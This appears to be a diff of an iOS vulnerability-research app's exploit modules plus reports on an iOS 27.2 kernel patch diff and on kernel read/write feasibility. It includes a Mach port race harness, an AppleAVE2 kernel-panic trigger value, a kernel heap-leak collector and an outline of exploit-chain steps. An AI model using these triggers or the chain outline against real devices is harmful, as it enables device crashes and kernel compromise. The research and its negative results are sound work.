            summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱（ipc_port.c:21/24/34/38/40/41）。27.0 的 free 路径计算了边界却丢弃结果，仍以未检查的基址执行读改写；mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标，故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
-            notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒，统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。",
+            notesZh: "该路径上原本被认为无 entitlement 门槛的入口是 mach_msg 与端口通知注册。真机实测（iOS 27.0.1，iPhone 19,7）与 macOS 27 上，mach_port_request_notification 的 13 种类型/权限组合全部返回 -300（MIG_TYPE_ERROR）：内核拒绝为第三方进程武装请求表项。没有请求表项，就没有可被竞态消费的陈旧索引 —— 本模块因此是一个可达性负结果，而不是竞态证据。armed 计数为 0 时，任何“survived”都不构成 112507 结论。",
            run: { ctx in
                let baseline = KernelIPC.baseline()
                ctx.arm("kern.ipc", "race 6s")
                let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
-                ctx.disarm("kern.ipc", "ops=\(stats.operations)")
+                ctx.disarm("kern.ipc", "ops=\(stats.operations) armed=\(stats.armed) refused=\(stats.notificationsRefused)")
                var lines = [stats.summary, ""]
                lines.append(tl("— 基线 —"))
                for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
                    lines.append("\(k): \(v)")
                }
-                if stats.notificationsRefused > 0 {
+                if stats.armed == 0 && stats.notifications > 0 {
                    lines.append("")
-                    lines.append(tl("— 平台限制 —"))
+                    lines.append(tl("— 可达性判定 —"))
-                    lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。"))
+                    lines.append(tl("通知注册成功 0 次，拒绝 ") + "\(stats.notificationsRefused)" + tl(" 次，内核返回 -300（MIG_TYPE_ERROR）。"))
-                    lines.append(tl("该平台不允许这条武装路径，故请求表索引竞态无法在此被驱动。"))
+                    lines.append(tl("请求表项从未建立，竞态没有可消费的对象：本模块未触达 112507。"))
-                    lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收，"))
+                    lines.append(tl("已完成的 ") + "\(stats.allocations)" + tl(" 次分配/拆除只证明端口名称空间可用，不是漏洞证据。"))
                    lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
                }
                let headline: String
-                if stats.notificationsRefused > 0 {
+                if stats.armed == 0 && stats.notifications > 0 {
-                    headline = tl("分配/拆除路径可用，通知武装被平台拒绝")
+                    headline = tl("通知注册全程 -300 — 112507 路径未武装（负结果）")
                } else if !stats.kernelErrors.isEmpty {
                    headline = tl("竞态完成，内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
                } else {
@@ -721,6 +720,7 @@ enum Catalog {
 extension Catalog {
    static var groups: [(String, [ExploitModule])] {
        [
            (tl("新收录"), arrivals),
            ("CoreGraphics", coreGraphics),
            (tl("ImageIO · 图像解析"), imageIO),
            (tl("ImageIO · 纹理与编码"), imageIO2),
@@ -54,12 +54,12 @@ extension Catalog {
                lines.append("EncoderUsage=\(su)  RCMode=\(sr)")
                var accepted: [Int] = []
-                for n in [64, 1024, 16462, 16463] {
+                for n in [0, 1, 7, 8, 64, 1024, 16462, 16463] {
                    let st = aveSet(s, "NumberOfTemporalLayers", NSNumber(value: n))
                    lines.append("NTL \(n): status=\(st)  readback: \(aveRead(s, "NumberOfTemporalLayers"))")
                    if st == 0 { accepted.append(n) }
                }
-                ctx.disarm("ave.ntl", "accepted=\(accepted.count)/4")
+                ctx.disarm("ave.ntl", "accepted=\(accepted.count)/8")
                let verdict: String
                if accepted.contains(16463) {
                    verdict = tl("16463 被接受 —— 该构建的设备在 fire 时会 panic")
@@ -234,6 +234,45 @@ extension Catalog {
                                     evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")])
            }),
        // ── CVE-2026-112507 · port lifecycle baseline ───────────────────────
        ExploitModule(
            id: "kern.ipc.lifecycle",
            titleZh: "Mach 端口死名通知与名字复用基线（112507 前置）",
            cve: "CVE-2026-112507",
            component: "XNU · ipc_port request table",
            primitive: .probe,
            reach: .kernel,
            tier: 3,
            summaryZh: """
            单线程走一遍 112507 竞态必须保持正确的生命周期：申请 receive right → 插入 send right → 注册 dead-name 通知 → 丢弃 receive right（send right 变成死名）→ 向死名发送（应为 MACH_SEND_INVALID_DEST）→ 从通知端口收 dead-name 消息 → 释放死名并观察同一数字名是否被下一次分配复用。它不制造竞态，也不释放活着的请求表项。
            """,
            notesZh: """
            这是竞态模块的前置基线，不会打崩内核。两项观测决定 112507 的结论是否成立：dead-name 通知是否真的送达、名字是否会被复用。若这里就异常，先查平台语义，不要把它当成 UAF 证据。真机上通知注册应返回 KERN_SUCCESS；模拟器上可能出现注册被拒。
            """,
            run: { ctx in
                ctx.arm("kern.ipc.lifecycle", "dead-name lifecycle")
                let r = KernelIPC.lifecycle()
                ctx.disarm("kern.ipc.lifecycle",
                           "dead=\(r.deadName) reuse=\(r.reused) | " + r.lines.joined(separator: " | "))
                let head: String
                if r.requestKR != KERN_SUCCESS {
                    head = tl("通知注册被拒") + " (\(r.requestKR))" + tl(" — 112507 路径无法武装")
                } else if r.deadName && r.reused {
                    head = tl("dead-name 送达 · 名字被复用")
                } else if r.deadName {
                    head = tl("dead-name 送达 · 名字未复用")
                } else {
                    head = tl("通知已注册但 dead-name 未送达 —— 查通知顺序")
                }
                return ModuleOutcome(
                    headline: head,
                    detail: r.lines.joined(separator: "\n"),
                    evidence: [tl("send to dead name 应为 MACH_SEND_INVALID_DEST"),
                               tl("dead-name 消息 id = 0x40000002"),
                               tl("复用只记录，不构成本身结论")])
            }),
        // ── CVE-2026-84636 · SCDynamicStore without wifi-info ───────────────
        ExploitModule(
            id: "sc.dynamicstore",
@@ -40,15 +40,20 @@ enum KernelIPC {
        var deallocations: Int = 0
        var budgetExhausted = false
        var notificationsRefused = 0
        /// Registrations that actually succeeded. Zero means the request-table path was
        /// never armed, so the run says nothing about 112507.
        var armed = 0
        var kernelErrors: [String: Int] = [:]
        var summary: String {
            var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
            s += "send=\(sends) dealloc=\(deallocations)"
            if budgetExhausted { s += tl("\n(达到资源预算，提前收敛 —— 这是刻意的，不是失败)") }
-            if notificationsRefused > 0 {
+            if armed == 0 && notifications > 0 {
-                s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知，")
+                s += tl("\n通知注册 0 次成功（内核返回 -300）—— 请求表路径从未被武装。")
-                s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。")
+                s += tl("这次运行不是 112507 测试：没有请求表项，就没有可被竞态消费的索引。")
            } else if notificationsRefused > 0 {
                s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次（成功 ") + "\(armed)" + tl(" 次）。")
            }
            if !kernelErrors.isEmpty {
                s += "\n" + kernelErrors.sorted { $0.value > $1.value }
@@ -82,8 +87,8 @@ enum KernelIPC {
    /// send into the survivors, then release everything. Returns the counters it produced.
    private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
                             refused: inout Int,
-                             record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) {
+                             record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int, armed: Int) {
-        var alloc = 0, notify = 0, send = 0, dealloc = 0
+        var alloc = 0, notify = 0, send = 0, dealloc = 0, armed = 0
        var ports: [mach_port_name_t] = []
        ports.reserveCapacity(depth)
@@ -109,7 +114,7 @@ enum KernelIPC {
            let kr1 = mach_port_request_notification(
                task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
                mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
-            if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } }
+            if kr1 == KERN_SUCCESS { armed += 1 } else { record(kr1); refused += 1 }
            if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
            notify += 1
@@ -117,7 +122,7 @@ enum KernelIPC {
            let kr2 = mach_port_request_notification(
                task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
                mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
-            if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } }
+            if kr2 == KERN_SUCCESS { armed += 1 } else { record(kr2); refused += 1 }
            if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
            notify += 1
        }
@@ -164,7 +169,7 @@ enum KernelIPC {
            }
            dealloc += 1
        }
-        return (alloc, notify, send, dealloc)
+        return (alloc, notify, send, dealloc, armed)
    }
    /// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
@@ -184,7 +189,7 @@ enum KernelIPC {
        }
        DispatchQueue.concurrentPerform(iterations: workers) { _ in
-            var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0
+            var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0, localArmed = 0
            while Date() < deadline {
                lock.lock()
@@ -205,6 +210,7 @@ enum KernelIPC {
                localNotify += result.notify
                localSend += result.send
                localDealloc += result.dealloc
                localArmed += result.armed
                localOps += 4
                lock.lock()
@@ -218,6 +224,7 @@ enum KernelIPC {
            stats.notifications += localNotify
            stats.sends += localSend
            stats.deallocations += localDealloc
            stats.armed += localArmed
            lock.unlock()
        }
@@ -255,4 +262,85 @@ enum KernelIPC {
        out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
        return out
    }
    /// Single-threaded port lifecycle baseline: arm a DEAD_NAME notification, drop the
    /// receive right while the send right survives, send into the dead name, then receive
    /// the notification. No race, no frees of live request-table entries — this is the
    /// sequence the 112507 race has to stay correct through.
    ///
    /// The second half frees the dead name and measures whether the kernel hands the same
    /// numeric name back to the next allocation. Name reuse is normal; the point is to
    /// record the baseline before the racer starts churning the namespace.
    static func lifecycle() -> (lines: [String], deadName: Bool, reused: Bool, requestKR: kern_return_t) {
        var lines: [String] = []
        let task = mach_task_self_
        var deadName = false
        var reused = false
        var notify: mach_port_t = 0
        var kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &notify)
        lines.append("notify_port alloc: \(name(kr)) name=\(notify)")
        guard kr == KERN_SUCCESS else { return (lines, false, false, kr) }
        var target: mach_port_t = 0
        kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &target)
        lines.append("target receive: \(name(kr)) name=\(target)")
        guard kr == KERN_SUCCESS else { mach_port_destroy(task, notify); return (lines, false, false, kr) }
        kr = mach_port_insert_right(task, target, target,
                                    mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
        lines.append("insert send right: \(name(kr))")
        var prev: mach_port_t = 0
        let requestKR = mach_port_request_notification(task, target, MACH_NOTIFY_DEAD_NAME, 0, notify,
                                                       mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
        kr = requestKR
        lines.append("request DEAD_NAME -> notify=\(notify): \(name(kr)) prev=\(prev)")
        if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
        kr = mach_port_mod_refs(task, target, MACH_PORT_RIGHT_RECEIVE, -1)
        lines.append("drop receive right: \(name(kr))")
        var hdr = mach_msg_header_t()
        hdr.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND)
        hdr.msgh_size = mach_msg_size_t(MemoryLayout<mach_msg_header_t>.size)
        hdr.msgh_remote_port = target
        hdr.msgh_local_port = 0
        hdr.msgh_id = 0
        kr = mach_msg_send(&hdr)
        lines.append("send to dead name: \(name(kr))")
        // DEAD_NAME fires when the last send right is released, not when the receive
        // right is dropped. Release it before waiting, otherwise the receive always
        // times out and the baseline records a false negative.
        kr = mach_port_deallocate(task, target)
        lines.append("release last send right: \(name(kr))")
        var buffer = [UInt8](repeating: 0, count: 256)
        kr = buffer.withUnsafeMutableBytes { raw -> kern_return_t in
            let p = raw.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self)
            return mach_msg(p, mach_msg_option_t(MACH_RCV_MSG | MACH_RCV_TIMEOUT),
                            0, mach_msg_size_t(raw.count), notify, 200, 0)
        }
        lines.append("receive notification: \(name(kr))")
        if kr == KERN_SUCCESS {
            let got = buffer.withUnsafeBytes {
                $0.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self).pointee
            }
            deadName = got.msgh_id == MACH_NOTIFY_DEAD_NAME
            lines.append("  id=0x\(String(got.msgh_id, radix: 16)) local=\(got.msgh_local_port) size=\(got.msgh_size) deadName=\(deadName)")
        }
        for _ in 0..<64 {
            var p: mach_port_t = 0
            if mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &p) == KERN_SUCCESS {
                if p == target { reused = true; mach_port_destroy(task, p); break }
                mach_port_destroy(task, p)
            }
        }
        lines.append("name reuse of \(target): \(reused ? "yes" : "no")")
        mach_port_destroy(task, notify)
        return (lines, deadName, reused, requestKR)
    }
 }
@@ -196,7 +196,7 @@ enum ModuleText {
            iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
            """,
            notes: """
-            The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index.
+            The entry points on this path were believed to be ungated: mach_msg and port notification registration. On the actual target (iOS 27.0.1, iPhone 19,7) and on macOS 27, all 13 combinations of notification type and right layout return -300 (MIG_TYPE_ERROR): the kernel refuses to arm a request-table entry for a third-party process. With no entry, there is no stale index to consume — this module is now a reachability negative, not race evidence. When armed is 0, no "survived" line is a 112507 conclusion.
            """),
        "kern.decmpfs": Row(
@@ -550,6 +550,15 @@ enum ModuleText {
            This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved.
            """),
        "kern.ipc.lifecycle": Row(
            title: "Mach port dead-name notification and name reuse baseline (112507 prerequisite)",
            summary: """
            A single-threaded walk through the lifecycle the 112507 race has to keep correct: allocate a receive right → insert a send right → register a dead-name notification → drop the receive right (the send right becomes a dead name) → send into the dead name (expected MACH_SEND_INVALID_DEST) → receive the dead-name message from the notification port → release the dead name and check whether the next allocation reuses the same numeric name. No race, no freeing of live request-table entries.
            """,
            notes: """
            This is the prerequisite baseline for the race module and cannot panic the kernel. Two observations decide whether the 112507 conclusion holds: whether the dead-name notification is actually delivered, and whether the name gets reused. If this already misbehaves, fix the platform semantics first; do not treat it as UAF evidence. On a device the notification registration should return KERN_SUCCESS; the simulator may refuse it.
            """),
        "sc.dynamicstore": Row(
            title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)",
            summary: """
@@ -205,6 +205,7 @@ enum RuntimeText {
        "UDID (设备)": "UDID (device)",
        "XNU · ipc_port.c 请求表消费方": "XNU · ipc_port.c request-table consumers",
        "XNU 内核": "XNU kernel",
        "新收录": "New arrivals",
        "archive_read_new 失败": "archive_read_new failed",
        "audioCustom 事件已投递": "audioCustom event delivered",
        "caret 坐标: ": "caret positions: ",
@@ -0,0 +1,175 @@
 # iOS 27.2 kernel differential — 27.0.1 vs 27.2 (iPhone19,7)
 Scope: the iOS 27.2 security update (24B119) against 27.0.1 (24A446) for iPhone 18
 Pro Max (`iPhone19,7`). The question: what does the update actually change in the
 kernel, which of the 162 advisory CVEs can be tied to a fix site, and does anything
 in the diff look like a PPL / SPTM / MIE bypass.
 ## How the images were obtained
 Both restore images are the production IPSWs from Apple's CDN:
 | Build | Version | Size | Kernelcache member |
 |---|---|---|---|
 | 24A446 | 27.0.1 | 12,728,434,807 B | `kernelcache.release.v6x-pandia` |
 | 24B119 | 27.2 | 13,722,855,612 B | `kernelcache.release.v6x-pandia` |
 The kernelcache was pulled straight out of the ZIP with HTTP Range requests, so the
 analysis did not wait for the full 26 GB. The container is IM4P; the payload is LZFSE.
 | Build | Kernelcache (decoded) | SHA-256 (first 16) |
 |---|---|---|
 | 27.0.1 | 78,315,520 B | `dec73956a9a443c5` |
 | 27.2 | 79,167,488 B | `9a6efbc4be67319a` |
 Both are `MH_FILESET` images with a `__DATA_SPTM` segment, carrying 303 (27.0.1) and
 305 (27.2) fileset entries. Two kexts are new: `com.apple.driver.ApplePencilDriver`,
 `com.apple.iokit.AppleSecurityResearch`; none were removed.
 ## Reading the diff
 Raw text-segment hashes are useless here: the fileset is relinked, so branch
 displacements and absolute literal pools move in almost every kext even when the
 code is unchanged. The diff therefore keys on:
 1. `__TEXT_EXEC` size change (layout-independent),
 2. `__cstring` / `__oslogstring` set difference (new checks usually add a message),
 3. `llvm-objdump` instruction diff for the kexts that survive both filters.
 93 of 303 common kexts changed text size. The largest are the ones the advisory
 points at:
 | Delta | Kext | Advisory component |
 |---|---|---|
 | +115,472 | `com.apple.driver.ASIOKit` | IOKit / audio |
 | +39,624 | `com.apple.driver.AppleH16ANEInterface` | Apple Neural Engine |
 | +29,376 | `com.apple.kernel` | Kernel |
 | +16,080 | `com.apple.driver.AppleAVE2` | AVEVideoEncoder |
 | +9,572 | `com.apple.driver.FairPlayIOKit` | Security |
 | +9,316 | `com.apple.driver.AppleDisplayCrossbar` | IOMobileFrameBuffer |
 | +8,304 | `com.apple.AGXG19P` | GPU |
 | +4,712 | `com.apple.driver.AppleMobileDispH19P-DCP` | IOMobileFrameBuffer |
 | +4,480 | `com.apple.driver.RTBuddy` | Kernel / RTKit |
 | +4,152 | `com.apple.driver.AppleSARService` | Kernel |
 ## Fix sites that are confirmed by strings
 ### CVE-2026-112705 — AppleAVE2 temporal layers
 27.2 adds the upper bound that 27.0.1 lacks:
 ```
 number of temporal layers (prop) is out of range %d %d %d
 0 <= pInfo->uPropCfg.sHEVC.iNumberOfTemporalLayers
    && pInfo->uPropCfg.sHEVC.iNumberOfTemporalLayers <= 7
 0 < pInfo->sSessionCfg.sEnc.sAlgCfg.sGOP.iNumOfTemporalLayer
    && (... <= 7)
 AVE_HEVC_CheckVPSExtBounds
 HEVC VPS vps_max_layers_minus1 is out of range
 HEVC VPS layer_id_in_nuh is out of range
 HEVC VPS layer-set total is out of range
 ```
 The property is now clamped to **0…7**. The trigger in the 27.0.1 dossier
 (`NumberOfTemporalLayers = 16463`, first frame → AppleAVE2 +0xDA78) is exactly the
 value this assertion rejects. A `--sweep` mode was added to both POCs: it sets
 0…12 and submits no frame. On macOS 27.0 it accepts 1…12 (and 16463); on 27.2 the
 >7 rungs must return an error.
 ### CVE-2026-113910 — decmpfs chunked zlib
 27.2 adds the produced-vs-expected check in
 `AppleFSCompression/Common/ChunkCompression.cpp`:
 ```
 %s:%d: chunk %u produced %lld of %lld expected bytes
 ```
 That is the exact under-production condition the leak harness drives. The C POC's
 `--loop` / `--keep` collector now sits on a documented fix site.
 ### CVE-2026-112507 — ipc_port request table
 27.2 adds the checks the 27.0.1 code was missing:
 ```
 ipr != ((void*)0)
 table != ((void*)0)
 ipc_misc.c
 ```
 This is a **NULL-check fix**, not a reclaimable-object fix. It matches the device
 result already recorded: `mach_port_request_notification` returns -300
 (MIG_TYPE_ERROR) for every type/right combination, 0 of 12,288 registrations armed,
 so the request-table path is never entered from an unentitled app.
 ### Other kernel changes
 The core kernel gains 62 meaningful strings (build paths and UUIDs excluded). The
 security-relevant ones:
 - `VM entry %p lock shared lock overflow` — a new vm_map lock-overflow panic,
  consistent with the COW / vm_map CVEs (112474 / 112576).
 - `Page modified after framebank withdraw %p` — page-lifecycle check.
 - `size <= sdl->sdl_alen` — sockaddr_dl bounds check in the network stack.
 - `speculative_pages_freed` / `_demoted` / `_requeued_inactive` — pageout counters.
 - `FilterDropBadDirection`, `nx_netif_filter_pkt_to_mbuf`, `pktap != NULL`,
  `ret == TB_ERROR_SUCCESS` — network filter validation.
 - `ipr != NULL`, `table != NULL`, `ipc_misc.c` — the 112507 fix.
 - New entitlements: `com.apple.private.verified-jit-mode`,
  `com.apple.private.vfs.unmunged-access-time`, `com.apple.security.cs.debugger`.
 These line up with the 15 Kernel entries in the advisory (UAF, OOB read/write, race,
 type confusion, COW integrity, kernel-layout disclosure). The advisory does not
 assign individual functions, so the mapping above is evidence-based, not a
 per-CVE signature.
 ## PPL / SPTM / MIE
 This is the part the request specifically asked to dig into.
 - `__DATA_SPTM` is **byte-identical** in both builds: 311,296 bytes, SHA-256
  `f4bc1e5e95f61af5…`. No SPTM code or data changed.
 - The PPL token strings (`UAT_PPL_IOCTL_*`, `PPL map operation failed`,
  `PPL state object`) are unchanged; no new PPL checks or messages.
 - No MIE / Memory Integrity / mtag / page-protection strings were added or removed.
 - The only SPTM-related additions are boot-time memory-size validation:
  `memsize=%u MB leaves no memory for XNU/SPTM to manage`, `Mismatch of
  ARM_LARGE_MEMORY in SPTM/XNU`, and iBoot DRAM-size checks. These are
  configuration checks, not a permission bypass.
 - The 27.2 advisory contains no component named PPL, SPTM, MIE, or Page Protection,
  and no CVE description mentions them.
 **Verdict: no PPL, SPTM, or MIE bypass is fixed in iOS 27.2, and the firmware diff
 shows no change in the SPTM/PPL/MIE code paths.** A bypass PoC for any of the three
 would have to come from a different bug, not from this update. The kernel CVEs with
 "write kernel memory" impacts are ordinary kernel memory-safety bugs; none of them
 is a page-table / monitor bypass on its own, and exploiting one would still have to
 defeat SPTM/PPL/MIE at runtime.
 ## What can be turned into a PoC
 | CVE | Primitive | PoC status |
 |---|---|---|
 | 2026-112705 | fixed-offset constant fill in AppleAVE2 | existing Swift/C POC + new `--sweep`; kernel panic on 27.0.1, property refused on 27.2 |
 | 2026-113910 | kernel heap disclosure through decmpfs | existing C collector (`--loop`, `--keep`, pointer classes); read-only |
 | 2026-112507 | request-table NULL check / race | existing harness; unreachable from an unentitled app (-300) |
 | 2026-112696 | ANE validation, +39 KB | no trigger in the diff; ANE kext strings show resource/scheduler validation, not a user-reachable entry |
 | 2026-65385 | IOHIDEvent fixed-offset write | IOHIDFamily grew only 236 B (+ `TCCService`); the advisory's IOKit fix is likely in the userland IOKit.framework (DSC), not this kext |
 | other Kernel CVEs | UAF/OOB/race | fix sites visible as strings, but no trigger or reclaim strategy; writing a PoC would be guesswork |
 The WebKit, ImageIO, CoreMedia and other userland components live in the dyld shared
 cache inside the root filesystem image, which is not part of the ZIP's plain files;
 those were not diffed here.
 ## Reproduce
 ```bash
 python3 tools/ipsw/remote_ipsw.py extract <ipsw-url> kernelcache work/kernel/27.2.im4p
 python3 tools/ipsw/ipswlib.py kernel ...            # decode + list
 python3 tools/ipsw/extract_kext.py work/kernel/27.2.kernel \
        work/kernel/27.2-entries.json com.apple.driver.AppleAVE2 out.macho
 python3 tools/ipsw/disasm_diff.py a.macho b.macho
 ```
 The tools are read-only: no device is touched, and no firmware is modified.
@@ -0,0 +1,160 @@
 # Kernel read/write feasibility — high and critical dossiers
 Scope: the kernel-reachable entries rated High or Critical in the Cinder27 dossiers.
 Question: can any of them be turned into arbitrary kernel read/write that does not
 panic the device?
 Short answer: **no, not from the material as it stands.** One entry gives a real
 kernel heap leak (read), one gives a bounded read model, one gives a race receipt
 on a UAF-shaped bug. The write entries either write a constant at a fixed offset or
 never reach the kernel interface at all. This document records what each primitive
 actually provides, what an arbitrary-R/W chain still needs, and what was added to
 the POCs.
 ## Guardrails
 - The host Mac was panicked once by the CVE-2026-112705 encode path. That path is
  never executed on the host again; its C twin refuses to submit a frame without
  `--force-host`.
 - No blind kernel writes are attempted from any POC. A wrong guess in the kernel
  heap is a panic, not a data point.
 - The simulator has no AppleAVE2 hardware encoder and no ANE kernel interface, so
  the write primitives cannot be exercised there either. Their app modules are
  split into a safe probe and a deliberate fire module.
 ## Primitive inventory
 | CVE | Entry | Primitive as shipped | Read | Write | Kernel R/W verdict |
 |---|---|---|---|---|---|
 | 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. |
 | 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. |
 | 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. |
 | 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **Not reachable from the app.** Device receipt: 12,288 notification registrations, 0 armed, 12,288 refused with -300 (MIG_TYPE_ERROR). No request-table entry exists, so there is no stale index to consume. |
 | 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. |
 | 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. |
 ## What arbitrary kernel R/W actually requires
 Every iOS kernel R/W chain needs five independent capabilities. A bug that supplies
 one of them is a chain step, not a chain.
 1. **KASLR defeat** — a kernel text or heap pointer with a known relationship to the
   unslid base. 113910 and 112554 can supply candidates; neither guarantees a text
   pointer, and a heap pointer alone does not give the slide.
 2. **Heap grooming** — deterministic placement of a victim object next to the
   corrupted allocation, in the same zone, at the same size class.
 3. **Controlled reclaim / corruption** — for a UAF: free the object, reallocate the
   slot with attacker-influenced contents, and keep a stale reference alive. For an
   OOB write: a value and an offset that land on a field worth corrupting.
 4. **A read/write gadget** — an object whose corrupted field yields a load or store
   of an attacker-chosen address (e.g. a length+pointer pair, a page-table entry, a
   thread's `pcb` pointer).
 5. **PAC / PPL bypass** — kernel code pointers are PAC-signed; page tables are
   protected by PPL on modern devices. A data-only path can sometimes avoid both,
   but it still needs 1–4.
 None of the six entries supplies 2–5. 112507 is the only one that could plausibly
 reach step 3, and reaching it requires a device, kernel symbols, and a reclaim
 strategy that the repository does not have.
 ## Per-entry notes
 ### CVE-2026-112705 — fixed constant, fixed offset
 The driver indexes a layer table with the declared count and writes a constant at a
 fixed offset past it. There is no attacker-chosen value and no attacker-chosen
 address. The only observable is a kernel data abort. Calling this "R/W" would
 require a second bug that turns the corrupted field into a pointer; nothing in the
 dossier provides one. The correct classification is a reliable kernel DoS.
 ### CVE-2026-112507 — reachability closed on the device (2026-10-31)
 The staged lifecycle harness was run on the target device (iPhone19,7, iOS 27.0.1)
 with an ad-hoc signed build, and the race module was re-run with an `armed` counter:
 - `mach_port_request_notification(DEAD_NAME)` → **-300** (MIG_TYPE_ERROR), `prev = 0`.
 - Send to the dead name → `MACH_SEND_INVALID_DEST`; receive → `MACH_RCV_TIMED_OUT`.
 - `kern.ipc`: 12,288 registration attempts, **0 armed, 12,288 refused**.
 - On macOS 27 the same call was swept over 13 combinations of notification type
  (SEND_POSSIBLE / PORT_DESTROYED / NO_SENDERS / DEAD_NAME) and right layout
  (receive-only, send+receive, send-only; notify port receive or send). Every
  combination returned -300.
 The kernel refuses to arm a request-table entry for this process. With no entry,
 the stale-index consumers in `ipc_port.c` have nothing to consume: the race cannot
 be driven from an unentitled third-party app, and the "survived" line from the old
 harness was measuring port churn, not the bug. The published fix shape (NULL checks
 on `ipr` / `table`) is consistent with a denial or null-dereference path, not with a
 reclaimable object.
 **27.2 firmware confirmation (2026-10-31):** the 27.2 kernel adds `ipr != NULL` /
 `table != NULL` in `ipc_misc.c` — a NULL-check fix, not a reclaimable-object fix.
 The 27.0.1/27.2 kernelcache diff is in [IOS27.2-KERNEL-DIFF.md](IOS27.2-KERNEL-DIFF.md).
 **Verdict: closed for this app.** The remaining hypothetical is a platform process
 that is allowed to register notifications; that is outside Cinder27's reach.
 ### CVE-2026-112507 — the race itself
 The ring allocates receive rights, arms two notification kinds per port, tears down
 half the ring, then sends to the survivors. The request-table index consumers are
 the target of the race. A weaponised version would need:
 - a win condition that is observable without panicking (a receipt, not a crash);
 - a same-zone reclaim object with controllable contents (Mach ports themselves are
  one candidate, but the request-table entry's layout is not attacker-shaped);
 - a stale consumer that dereferences the reclaimed slot after the free;
 - a leak to place the reclaim object and to find the kernel base.
 The POC records `-300` and `invalid destination` receipts and reports that the
 interleaving survived. That is the honest limit of a userspace race harness: it can
 show the window exists, not that the window is controllable.
 ### CVE-2026-113910 — the leak that was worth improving
 This is the only entry where more code produces more signal. The C twin now:
 - sweeps 8 chunk configurations (including `produce=0`, which promises 64 KiB per
  chunk and writes none of it);
 - repeats the sweep `--loop N` times;
 - classifies every 8-byte-aligned value as kernel-text (`0xfffffff0…`), kernel-data
  (`0xffffffe0…`), kernel-other, or user;
 - writes the raw readback to `--keep out.bin` for offline analysis;
 - never dereferences a candidate.
 On the macOS host decmpfs does not engage for a file that already has data (the
 documented oracle), so the run reports zero candidates and 3.2 MB of plain 0x41
 readback. On an iOS device where the chunked xattr is honoured, the same sweep is
 the KASLR step. It still does not write.
 ### CVE-2026-112554 — a read-width model, not a kernel reader
